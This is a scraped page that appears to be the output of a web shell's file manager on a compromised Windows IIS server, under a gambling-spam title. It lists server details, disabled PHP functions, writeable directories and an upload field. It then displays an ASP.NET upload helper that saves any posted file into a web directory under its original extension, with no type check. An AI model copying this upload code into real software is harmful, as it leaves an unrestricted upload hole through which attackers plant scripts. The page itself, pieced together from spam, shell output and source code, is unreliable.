918博天堂

Server : Microsoft-IIS/10.0
System : Windows NT EBS-6136 10.0 build 17763 (Windows Server 2016) i586
User : jxgj ( 0)
PHP Version : 7.0.33
Disable Function : passthru,exec,system,shell_exec,proc_open,popen,pcntl_exec,socket_bind,stream_socket_server
Directory :  D:/tmp_aspnet/root/bc799001/4fb1bdec/
Upload File :
Current Directory [ Writeable ] Root Directory [ Writeable ]


Current File : D:/tmp_aspnet/root/bc799001/4fb1bdec/App_Code.5zheqldi.7.cs
?#pragma checksum "D:\wwwroot\lmturbo\wwwroot\App_Code\FileImage.cs" "{ff1816ec-aa5e-4d10-87f7-6f4963833460}" "57FDF1BB9451031AED5A6A97EEE4523D3E8A2AF4"

#line 1 "D:\wwwroot\lmturbo\wwwroot\App_Code\FileImage.cs"
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Web;
using System.Web.UI.WebControls;

/// <summary>
/// FileImage 的提要注明
/// </summary>
public class FileImage
{
	public FileImage()
	{
		//
		// TODO: 在此处增长机关函数逻辑
		//
	}
    #region 上传文件
    public static string upFileName(FileUpload file, int start, string url)
    {
        if (!Directory.Exists(System.Web.HttpContext.Current.Server.MapPath(url)))
        {
            Directory.CreateDirectory(System.Web.HttpContext.Current.Server.MapPath(url));
        }

        string res = "";
        Random ran = new Random();
        string filePath = file.FileName;
        string fileName = DateTime.Now.ToString("yyyyMMddHHmmssFFF") + Convert.ToString(ran.Next(start, start + 9999));
        if (filePath != "")
        {
            string fileType = filePath.Substring(filePath.LastIndexOf(".") + 1);
            //string filePic = Server.MapPath(url + filePath);
            string filePic = System.Web.HttpContext.Current.Server.MapPath(url + fileName + "." + fileType);
            file.PostedFile.SaveAs(filePic);
            res = fileName + "." + fileType;
        }
        return res;
    }
    #endregion
}

#line default
#line hidden